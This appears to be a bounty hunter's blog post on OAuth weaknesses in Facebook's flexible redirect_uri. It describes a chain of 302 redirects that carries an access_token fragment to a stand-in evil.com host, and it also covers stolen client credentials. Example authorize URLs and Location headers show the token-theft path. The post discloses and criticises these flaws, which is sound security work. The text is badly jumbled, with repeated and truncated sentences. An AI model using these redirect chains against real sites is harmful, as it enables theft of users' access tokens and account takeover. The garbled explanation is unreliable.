URI Fragment & 302 Redirects.

window.open(fb auth/redirect_uri=site.com/redirector&response_type=token) We get header:

Location: http://site.com/redirector#access_token=123 When the browser loads http://site.com/redirector it gets following header

Location: http://evil.com/path And now the browser navigates to

http://evil.com/path#access_token=123 our Javascript leaks the location.hash

Stolen Client Credentials Threat

redirect to /authorize url with redirect_uri param it redirects back to redirect_uri?code=123#_=_ now server side obtains access_token sending client creds + used redirect_uri (to prevent leaking through referrer) + code

Oh, wait, there is no such way, because stolen credentials are not a threat if redirect_uri is whitelisted!









The funniest thing with all these rants

Most of our OAuth hacks pwn the Provider and its users (only the most-common vulnerability pwns the Client's authentication ).





This makes me really curious what the hell is wrong with Facebook and why don't they care about their own Graph security and their own users. Why do they allow a flexible redirect_uri, opening an enormous attack surface (their own domain + client's app domain)?





Find-Chain-Of-302-Redirects, Find-XSS-On-Client and Leak-Credentials-Then-Find-Leaking-Redirect_uri games. Don't they understand it is clearly their business to protect themselves from non ideal clients?



We simply playandgames. Don't they understand it is clearly their business to protect themselves from





A good migration technique could be based on recording the most used redirect_uri for every Client (most of rails apps use site.com/auth/facebook/callback) and then setting those redirect_uris as the whitelisted ones.





P.S. Although, as bounty hunters, me, @isciurus and Nir are OK with the current situation. There is so much $$$ floating around redirect_uri...





P.S.2 feel free to fix my language and grammar, I get many people asking to elaborate some paragraphs.

We've got Nir Goldshlager working on our side (he simply loves bounties and facebook does pay 'em). We both discovered some vulnerabilities in Facebook and we joined our forces to demonstrate how many potential problems are hidden in OAuth.: all oauth exploits are based on tampering with the redirect_uri parameter.Here I demostrate 2 more threats proving that a flexible redirect_uri is the Achilles Heel of OAuth.Open redirect is not a severe vulnerability on its own. OWASP says it can lead to "phishing". Yeah, it's almost nothing, but wait:What happens if we load http://site1.com/redirect_to_other_site#DATA and Site1.com responds with Status 302 and Location: evil.com/blabla.What about #DATA? It's a so called URI Fragment a.k.a location.hash and it's never sent on the Server-side.The browser simplyto a new redirect destination. Yeah, it will load evil.com/blabla#DATA.I have a feeling that is not a reasonable browser feature. I have an even stronger feeling that it opens yet another critical flaw in OAuth.chain of 302 redirectsonredirect_uri domain (Client's domain myapp.com, sometimes Provider's domain too — facebook.com)topage with attacker's Javascript (not necessarily open redirect)= Game Overand this is...Every time Facebook Connect redirects you to another URL it adds #_=_. It is supposed to kill a "sticky" URI fragment which the browser carries through chain of 302 redirects.Previously we could use something likeFBAUTH?client_id=approved_app&redirect_uri=ourapp.cominas a redirector to our app.Fb auth for Other client -> Fb auth for Our client#access_token=otherClientToken -> 302 redirect to our app with #access_token of Other client.Is it game over? Currently -, both for OAuth1 and 2. Let me explain again response_type=code flow:So if we have client creds we only need to(it can be any page with or open redirector)How would you obtain an access_token